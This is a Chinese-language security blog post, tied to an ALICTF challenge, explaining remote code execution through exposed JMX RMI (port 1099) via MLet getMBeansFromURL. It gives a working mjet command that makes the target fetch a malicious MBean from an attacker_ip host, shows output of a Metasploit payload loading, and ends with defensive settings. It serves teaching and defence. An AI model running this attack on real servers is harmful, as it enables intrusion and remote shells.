2015年4月16日-恶魔
[+] Author: Demon
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2015-04-16
利用方法 View: Exploiting JMX RMI 写这篇文章的起因是因为 ALICTF 决赛的其中一道题,是关于 @cnbird 出的一道 Linux 渗透的题目,里面涉及了一台机器开启了1099端口。赛后很多同学说对这个利用方式感兴趣,所以整理出来,让小伙伴们以后方便查阅。 1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。 原文中详细的阐述了这个漏洞的原理分析和Exploit的编写,这里就不再赘述了。如何利用这个漏洞直接调用执行 metasploit 中的 meterpreter payload 呢,国外已经有人写了个 JMX 的利用工具叫mjet,在 Github 上能够搜索到,传送门。利用方法说的很详细,先是通过公网一台机器搭建好 metasploit ,启动一个 java_mlet_server 模块,能够让目标机器去加载恶意代码。然后使用 mjet.jar 这个工具来 Exploit ,具体的命令如下:
java -jar mjet.jar -t target_ip -p 1099 -u http://attacker_ip:8080/mlet/
attacker_ip即自己公网装有 metasploit 的机器IP。执行后如果成功Exploit,会返回以下信息。
---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ...
[+] Connected: rmi://192.168.178.164 5
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.178.1:8080/mlet/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE
[+] Invoking: metasploit.Metasploit.run()
[+] Done
中间执行的过程一目了然。然后在 java_mlet_server 端就反弹了一个 meterpreter session 在后端了。 防御方案 配置中启用SSL客户端证书身份认证。 启用密码方式的授权认证并使用SSL传输。 对JMX RMI的端口做iptables。 参考 http://drops.wooyun.org/papers/178 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html